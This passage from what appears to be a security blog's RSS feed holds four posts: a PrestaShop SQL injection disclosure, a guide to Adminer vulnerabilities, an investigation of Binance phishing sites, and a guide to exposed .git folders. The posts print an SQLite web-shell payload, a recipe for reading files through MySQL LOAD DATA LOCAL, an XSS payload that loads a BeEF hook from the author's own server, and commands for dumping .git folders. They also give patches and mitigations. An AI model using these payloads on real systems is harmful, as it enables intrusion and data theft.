&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sql&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;from&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;simpleblog_category_lang&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;($id_lang)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sql&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;where&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;l.link_rewrite = \&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$rewrite&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;\&amp;#39; AND l.id_lang =
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;int&lt;/span&gt;)$id_lang);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sql&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;where&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;l.link_rewrite = \&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$rewrite&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;\&amp;#39;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $category &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SimpleBlogCategory&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;Db&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getInstance&lt;/span&gt;()&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;($sql),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $id_lang);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; $category;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Okay, success, found the SQLi but where is this endpoint?
In Prestashop the controllers for modules are located at &lt;code&gt;/module/modulename/filename&lt;/code&gt; (not &lt;code&gt;/modules&lt;/code&gt;!) so for this case: &lt;code&gt;https://example.com/module/ph_simpleblog/list?sb_category=*&lt;/code&gt;.
No exploit script or manual SQLi was required as sqlmap was able to detect it as boolean-based blind.&lt;/p&gt;
&lt;h1 id="fixing-the-issue" &gt;Fixing the issue
&lt;/h1&gt;&lt;p&gt;Prestashop provide a built in function for sanitising strings to be used in SQL queries called pSQL. This is the quick fix in situations like this but one must be sure to surround the parameter with quotes or the query will still be vulnerable to SQLi as I will show in the next blog post.&lt;/p&gt;
&lt;p&gt;The most correct way to patch this would be to use PDO as desribed in Prestashop&amp;rsquo;s &lt;a href="https://doc.prestashop.com/pages/viewpage.action?pageId=51184692"&gt;Best Practices for the DB Class&lt;/a&gt;. PDO eliminates the risks of faulty parameter sanitisation and makes it hard to do things the wrong way.&lt;/p&gt;
&lt;p&gt;I found the contact details for the developer of the module and they were quickly able to patch the issue.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;18/06/2021&lt;/td&gt;
&lt;td&gt;Issue discovered during a pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13/07/2021&lt;/td&gt;
&lt;td&gt;Reported issue to Prestahome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14/07/2021&lt;/td&gt;
&lt;td&gt;Prestahome patched the issue in version 1.7.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15/07/2021&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36748"&gt;CVE-2021-36748&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18/08/2021&lt;/td&gt;
&lt;td&gt;Blog post released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20/08/2021&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/pajoda"&gt;pajoda&lt;/a&gt; released a &lt;a href="https://github.com/projectdiscovery/nuclei-templates/pull/2446"&gt;Nuclei template&lt;/a&gt; for this CVE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Adminer - A Guide For All its Vulnerabilities</title><link>/posts/adminer/</link><pubDate>Thu, 11 Mar 2021 00:00:00 +0000</pubDate><guid>/posts/adminer/</guid><description>&lt;p&gt;Adminer is a popular PHP database management tool.&lt;/p&gt;
&lt;p&gt;This blog post will detail its vulnerabilities, how to exploit them and how to protect yourself from these risks.&lt;/p&gt;
&lt;h1 id="rce-using-sqlite" &gt;RCE using SQLite
&lt;/h1&gt;&lt;p&gt;Versions 4.2.4 and before that support SQLite are vulnerable to this.&lt;/p&gt;
&lt;p&gt;The server must have the SQLite PHP driver installed for this to work.&lt;/p&gt;
&lt;p&gt;On Adminer you login with an empty username and database name.&lt;/p&gt;
&lt;p&gt;This will log you in to a temporary in-memory database.&lt;/p&gt;
&lt;p&gt;Then you execute the following SQLite commands:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ATTACH DATABASE &amp;#39;shell.php&amp;#39; AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn ( dataz) VALUES (&amp;#39;&amp;lt;?php system($_GET[&amp;#34;command|&amp;#34;]); ?&amp;gt;&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will create a PHP file (shell.php) in the same directory as Adminer that you can use to run commands.&lt;/p&gt;
&lt;p&gt;If the directory is not writable you can write the shell file to another directory by changing the path in the attach command.&lt;/p&gt;
&lt;p&gt;This was &lt;a href="https://github.com/vrana/adminer/commit/a5b65fba5b4f420651a9e388c5702c101d85d7d9"&gt;patched in version 4.2.5&lt;/a&gt; by filtering the ATTACH statement from SQLite commands and requiring credentials for SQLite.&lt;/p&gt;
&lt;p&gt;UPDATE July 2026: I bypassed this filter and wrote it up in &lt;a href="https://blog.sorcery.ie/posts/adminer_sqlite_rce_regex_bypass/"&gt;this blog post&lt;/a&gt;. It&amp;rsquo;s been patched in 5.4.3. Another bypass was discovered by &lt;a href="https://blog.voorivex.team/three-0-day-vulnerabilities-in-adminer"&gt;Voorivex&lt;/a&gt; and was also patched in the same update.&lt;/p&gt;
&lt;h1 id="rce-using-mssql-dsn-injection" &gt;RCE using MSSQL DSN Injection
&lt;/h1&gt;&lt;p&gt;Detailed by Voorivex in their article &lt;a href="https://blog.voorivex.team/three-0-day-vulnerabilities-in-adminer#:~:text=Bug%201%3A%20Pre%2DAuth%20RCE%20via%20MSSQL%20DSN%20Injection"&gt;here&lt;/a&gt; and patched in version 5.4.3.&lt;/p&gt;
&lt;h1 id="local-file-read-using-mysql" &gt;Local File Read using MySQL
&lt;/h1&gt;&lt;p&gt;Version 4.6.2 and before are vulnerable to this.&lt;/p&gt;
&lt;p&gt;MySQL has a statement called load_file() for reading files on the same server as MySQL server but it also has a statement called LOAD DATA LOCAL that can be used to read files from the MySQL client system.&lt;/p&gt;
&lt;p&gt;To exploit this on an Adminer install you can enter MySQL credentials for a server (easiest to use your own one for testing), login and select a db.&lt;/p&gt;
&lt;p&gt;Sometimes a server will refuse to connect out to your MySQL server on port 3306. To get past this issue you can run your MySQL server on a more common port like 443 or 80.&lt;/p&gt;
&lt;p&gt;If you succeed in logging in you run the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;CREATE TABLE db.data (data_column text);
LOAD DATA LOCAL INFILE &amp;#39;index.php&amp;#39;
INTO TABLE db.data
FIELDS TERMINATED BY &amp;#34;\n&amp;#34;;
SELECT * FROM db.data;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will load the contents of the index.php file from the Adminer server into the db.data table on your MySQL server.&lt;/p&gt;
&lt;p&gt;You don&amp;rsquo;t need full path to exploit this as you can use a path relative to the Adminer file.&lt;/p&gt;
&lt;p&gt;Sometimes you may see this error:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Error in query (1148): The used command is not allowed with this MariaDB version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is because MariaDB changed the default settings (or the webmaster manually changed the MySQL settings) to disable LOAD DATA LOCAL. This is a useful mitigation: &lt;a href="https://dev.mysql.com/doc/refman/5.6/en/load-data-local-security.html"&gt;https://dev.mysql.com/doc/refman/5.6/en/load-data-local-security.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://github.com/vrana/adminer/commit/c564a8ef5095d26b1d7f2ebab4dc3c3516bc0c7b"&gt;Adminer 4.6.3 patch&lt;/a&gt; for this is very effective as it disables local infile at the PHP driver level.&lt;/p&gt;
&lt;p&gt;If it wasn&amp;rsquo;t disabled at the driver level it would still be exploitable by using a &lt;a href="https://github.com/allyshka/Rogue-MySql-Server"&gt;rogue MySQL server&lt;/a&gt;. (&lt;a href="https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html"&gt;w00tsec writeup&lt;/a&gt;) (&lt;a href="https://medium.com/@knownsec404team/mysql-client-arbitrary-file-reading-attack-chain-extension-727bb63f578c"&gt;Knownsec404 writeup&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;This LOAD DATA LOCAL issue is also present in other SQL management tools like phpMyAdmin, phpMinAdmin and Sypex Dumper. It can also be abused on various CMSes if you have the power to make it connect to a rogue MySQL server.&lt;/p&gt;
&lt;h1 id="ssrfs" &gt;SSRFs
&lt;/h1&gt;&lt;p&gt;Adminer&amp;rsquo;s MySQL login feature can be used for port scanning as demonstrated in &lt;a href="http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt"&gt;CVE-2018-7667&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In newer versions support was added for HTTP based DBMS like ElasticSearch and Clickhouse. These implementations were vulnerable to SSRF that returned page contents on successful requests.&lt;/p&gt;
&lt;h1 id="recommendations" &gt;Recommendations
&lt;/h1&gt;&lt;p&gt;Use the latest version (of course).&lt;/p&gt;
&lt;p&gt;Where possible use the DBMS-specific version of Adminer for your needs to reduce the attack surface.&lt;/p&gt;
&lt;p&gt;If you do not need to use Adminer on a regular basis then you should remove it from your webserver and reupload as needed.&lt;/p&gt;
&lt;p&gt;If it needs to remain on the server it should be behind extra controls like htaccess or IP filter.&lt;/p&gt;
&lt;h1 id="changelog" &gt;Changelog
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;11/03/2021&lt;/td&gt;
&lt;td&gt;Blog post released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29/07/2026&lt;/td&gt;
&lt;td&gt;Updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>The Time I tried to get a Bounty from Binance</title><link>/posts/binance-phishing-bounty/</link><pubDate>Thu, 10 Dec 2020 00:00:00 +0000</pubDate><guid>/posts/binance-phishing-bounty/</guid><description>&lt;p&gt;Back in 2018 Binance had been targeted by a large scale attack by a group of phishers. They made a bounty offer of $250k in BNB to anyone who could provide information leading to their arrest.&lt;/p&gt;
&lt;p&gt;In the &lt;a href="https://medium.com/binanceexchange/binance-bounty-progress-update-ea072569d635"&gt;Medium post&lt;/a&gt; they provided a &lt;a href="https://telegra.ph/Binance-Hacker-Bounty-Known-Domains-03-16"&gt;list of known phishing domains&lt;/a&gt; for people to investigate.&lt;/p&gt;
&lt;p&gt;I went through the list to see which of the sites were still active:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Domain&lt;/th&gt;
&lt;th&gt;IP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;kykoin.com&lt;/td&gt;
&lt;td&gt;178.208.83.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bitxumb.com&lt;/td&gt;
&lt;td&gt;178.208.83.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vawesplatform.com&lt;/td&gt;
&lt;td&gt;178.208.83.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;waivesplatform.com&lt;/td&gt;
&lt;td&gt;178.208.83.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bittreh.com&lt;/td&gt;
&lt;td&gt;178.208.83.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;livcoin.net&lt;/td&gt;
&lt;td&gt;178.208.83.15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;livekoin.com&lt;/td&gt;
&lt;td&gt;178.208.83.15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;livekoin.net&lt;/td&gt;
&lt;td&gt;178.208.83.15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I opened them up in my browser to see if there was anything interesting about how the phisher worked and indeed there was!
The form used for logging credentials sent them to a PHP script called rdy.php located at /admm/rdy.php
I did some googling and was able to find the source for the phishing script on a &lt;a href="https://bhf.io/threads/88436/"&gt;Russian hacking forum&lt;/a&gt;.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $login &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_POST[&lt;span style="color:#e6db74"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $password&lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_POST[&lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $email &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $login&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$password;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($login &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;or&lt;/span&gt; $password &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;print&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;script type=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;text/javascript&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;print&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;alert(&amp;#39;Пароль или логин не введен.&amp;#39;)&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;print&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;print&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;script&amp;gt;document.location.replace(&amp;#34;index.html&amp;#34;);&amp;lt;/script&amp;gt;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fopen&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;acc.txt&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;a+&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fwrite&lt;/span&gt;($file,&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n\r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$email&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n\r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fclose&lt;/span&gt;($file);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;print&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;script&amp;gt;document.location.replace(&amp;#34;http://ya.ru&amp;#34;);&amp;lt;/script&amp;gt;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;As you can see the script saves the credentials to acc.txt which was accessible on the sites.
I visited kykoin.com/admm/ to see what was there and it showed a login panel. Naturally I did what anyone would do when presented with an admin panel and tried to login with admin:admin . That worked. It was a very simple page that showed the contents of acc.txt . I noticed there was no sanitisation of the acc.txt inputs so we could XSS that admin panel.&lt;/p&gt;
&lt;p&gt;In order to get some info on who the admin of the panel was I setup a &lt;a href="https://beefproject.com/"&gt;BeEF hook&lt;/a&gt; by submitting my payload to the phishing login.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;user: notrealuser&amp;lt;script&amp;gt;var commandModuleStr = &amp;#39;&amp;lt;script src=&amp;#34;http://myserver.com:3000/hook.js&amp;#34; type=&amp;#34;text/javascript&amp;#34;&amp;gt;&amp;lt;\/script&amp;gt;&amp;#39;;document.write(commandModuleStr);&amp;lt;/script&amp;gt;
pass: randompass
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I repeated this for the other phishing sites. Now all we had to do was wait for them to log in.&lt;/p&gt;
&lt;p&gt;Next day the same person logged into 3 of the sites.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;waivesplatform.com on 21/03/2018 at 13:51 (GMT +5)&lt;/li&gt;
&lt;li&gt;bittreh.com on 21/03/2018 at 14:05 (GMT +5)&lt;/li&gt;
&lt;li&gt;kykoin.com on 21/03/2018 at 18:12 (GMT +5)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From the BeEF hook we were only able to gather some info as browser exploits are not what they used to be :(&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IP: 83.149.19.150&lt;/li&gt;
&lt;li&gt;ISP: &lt;a href="https://ipinfo.io/AS31133"&gt;AS31133 PJSC MegaFon / OJSC MSS-Povolzhe Network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Date: Wed Mar 21 2018 13:51:17 GMT+0500 (RTZ 4 (зима))&lt;/li&gt;
&lt;li&gt;Browser UA (User-agent) String: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 YaBrowser/17.11.1.990 Yowser/2.5 Safari/537.36&lt;/li&gt;
&lt;li&gt;Browser Plugins: BookReader,Chromium PDF Plugin,Chromium PDF Viewer,Native Client,Shockwave Flash,Widevine Content Decryption Module&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point there wasn’t much more I could do so I sent an email to Binance with all the information I had gathered.
Unfortunately Binance never responded so I had no choice but to stop the pursuit.
I personally do not believe that Binance had any intention of paying out in this case.
In my opinion it appears to have been an attempt at controlling the negativity surrounding the situation.
As a result of this I will be hesistant to participate in similar bounties from Binance in the future.&lt;/p&gt;
&lt;p&gt;UPDATE September 2021: It appears that some people did receive bounties from this program as I discovered from &lt;a href="https://twitter.com/MrGlaive/status/1438924611597570051"&gt;this twitter exchange&lt;/a&gt; I had with &lt;a href="https://twitter.com/MrGlaive"&gt;@MrGlaive&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Exposed .git Folder and How To Remediate it</title><link>/posts/git-directory-exposure/</link><pubDate>Mon, 23 Nov 2020 00:00:00 +0000</pubDate><guid>/posts/git-directory-exposure/</guid><description>&lt;h1 id="discovery" &gt;Discovery
&lt;/h1&gt;&lt;p&gt;Usually we find this when directory bruteforce returns positive results from the following urls:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://site.com/.git/
http://site.com/.git/config
http://site.com/.git/HEAD
http://site.com/.git/index
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Many times the &lt;code&gt;.git/&lt;/code&gt; may be 403 (due to directory listing being disabled) but the files within it are downloadable. A lot of the git files are at known paths and the rest can be worked out from the known files so it is still exploitable as long as the files are downloadable.&lt;/p&gt;
&lt;h1 id="exploitation" &gt;Exploitation
&lt;/h1&gt;&lt;p&gt;If directory listing is enabled (we can see the files in the folder) we can use this command to download the files:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wget -e robots=off -r --no-check-certificate --no-parent http://site.com/.git/
git checkout -f
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alternatively if we don&amp;rsquo;t have directory listing we can use arthaud&amp;rsquo;s &lt;a href="https://github.com/arthaud/git-dumper"&gt;git-dumper&lt;/a&gt; to download the git files:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 git-dumper.py -j 8 http://site.com/.git site.com_git
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Usually &amp;ldquo;&lt;code&gt;git checkout -f .&lt;/code&gt;&amp;rdquo; will recover the files from the .git folder but that can fail if files are missing. When this happens you can use&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git fsck --name-objects
git ls-tree --full-tree HEAD
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;to get a list of the files and &amp;ldquo;&lt;code&gt;git cat-file blob FILE_BLOB_HASH_HERE&lt;/code&gt;&amp;rdquo; to recover a specific file.&lt;/p&gt;
&lt;p&gt;You should now have a copy of some or all of the website&amp;rsquo;s files. From here you can audit the source code for vulnerabilities or use credentials and API keys from the source code to gain more access.
If there is keys/credentials/secrets in the source code it means that they are stored on the developers git repo which is considered bad practice.&lt;/p&gt;
&lt;h1 id="patching" &gt;Patching
&lt;/h1&gt;&lt;p&gt;How you fix this issue depends on your environment.
If you don&amp;rsquo;t actively use git to update your site then you can simply remove the .git .
If you actively use it you should consider putting the website root folder in a directory in your git so your structure would look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.git
siteroot/
siteroot/index.php
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This way the .git directory isnt in your webroot and exposed to the internet.&lt;/p&gt;
&lt;h2 id="webserver-filtering" &gt;Webserver Filtering
&lt;/h2&gt;&lt;p&gt;You can also add rules to your webserver to prevent vistors from downloading files from .git .&lt;/p&gt;
&lt;h3 id="htaccess" &gt;Htaccess
&lt;/h3&gt;&lt;p&gt;If your server or project uses htaccess files add this line:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;RewriteRule &amp;#34;(^|/)\.(?!well-known\/)&amp;#34; - [F]
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="apache" &gt;Apache
&lt;/h3&gt;&lt;p&gt;Add rule to httpd.conf or relevant site config.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;DirectoryMatch &amp;#34;^/.*/\.git/&amp;#34;&amp;gt;
Require all denied
&amp;lt;/DirectoryMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That rule only filters .git requests. A better catch-all rule would be:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;Directory ~ &amp;#34;/\.(?!well-known\/)&amp;#34;&amp;gt;
Require all denied
&amp;lt;/Directory&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will filter requests for paths beginning with a dot so protects against other similar exposures.&lt;/p&gt;
&lt;h3 id="nginx" &gt;Nginx
&lt;/h3&gt;&lt;p&gt;Add rule to server block in nginx config.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;location ~ /.git/ {
deny all;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That rule only filters .git requests. A better catch-all rule would be:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;location ~ /\.(?!well-known).* {
deny all;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will filter requests for paths beginning with a dot so protects against other similar exposures.&lt;/p&gt;
&lt;h1 id="changelog" &gt;Changelog
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;23/11/2020&lt;/td&gt;
&lt;td&gt;Blog post released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10/12/2020&lt;/td&gt;
&lt;td&gt;Added part about recovering files from incomplete git folders&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item></channel></rss>